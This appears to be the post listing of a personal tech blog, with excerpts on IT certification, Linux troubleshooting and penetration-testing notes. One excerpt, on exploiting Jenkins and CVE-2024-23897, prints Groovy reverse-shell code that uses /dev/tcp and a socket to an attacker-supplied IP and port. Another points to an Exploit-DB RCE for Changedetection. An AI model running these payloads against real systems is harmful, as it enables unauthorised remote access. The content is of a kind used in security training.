Skip to main content

Posts

Passed the CompTIA CloudNetX Certification

Last July 2024, I participated in the CompTIA CloudNetX Certification Beta Exam (CNX-001)and today I received my results and I passed!. As of Feb 2025, the exam is not yet available for purchase and is expected to be open by next month (Q1 2025). Comptia recommends A minimum of ten years of experience in the IT field and five years of experience in a network architect role, with experience in the hybrid cloud environment. Network+, Security+, and Cloud+ or equivalent experience. As per the exam description, The CompTIA CloudNetX certification exam will certify the successful candidate has the knowledge and skills required to: Analyze business requirements to design and configure secure network architecture for on-premises and cloud environments. Analyze requirements to design for network security, availability, Zero Trust, and identity and access management technologies. Apply and configure concepts and tools related to network monitoring and performance, automation, and scripting. Tro...
Read more
Recent posts

HP printer driver issue in Linux [FIX]

My HP printer was automatically detected by Ubuntu but was unable to print anything. You might also encounter issues with your HP printer connecting with Linux machine. The following solution may fix this issue. try the command hp-setup -i  This HP Linux imaging and Printing System utility will download the required drivers and install the printer successfully.
Read more

docker-compose: command not found | Kali Linux [FIX]

You might be facing issues in installing docker compose in Kali linux.   In the latest Kali linux versions, the docker-compose cannot be installed in the transitional way. However the standalone version can be installed, as mentioned in the installation guide. To download and install the Docker Compose standalone, run: sudo curl -SL https://github.com/docker/compose/releases/download/v2.32.3/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose Apply executable permissions to the standalone binary in the target path for the installation. sudo chmod +x /usr/local/bin/docker-compose Test and execute Docker Compose commands using docker-compose.
Read more

error: externally-managed-environment | pip3 install Error [FIX]

  When a package manager is managing a Python environment,it prevents pip from performing system-wide installation. You can use  --break-system-packages to bypass this protection. Add --break-system-packages at the end of pip. Eg: pip install xyz --break-system-packages
Read more

Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()   For Windows,   String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Read more

[CVE-2024-32651] Changedetection < 0.45.20 - Remote Code Execution (RCE)

# [CVE-2024-32651] changedetection < 0.45.20 - Remote Code Execution (RCE) On the target machine, Changedetection v 0.45.1 is running. A quick search on exploit DB will give the RCE. https://www.exploit-db.com/exploits/52027 Run the exploit code Where IP is the attacker IP and port is the listening port of the attacker. We got the root access.
Read more

[FIX] shellter wine: could not load kernel32.dll

After installing shellter & wine, you might encounter the following error. shellter wine: could not load kernel32.dll, status c0000135 This could be due to the incomplete/broken installation of wine. You may try to remove the wine prefix(~/.wine) and run again.
Read more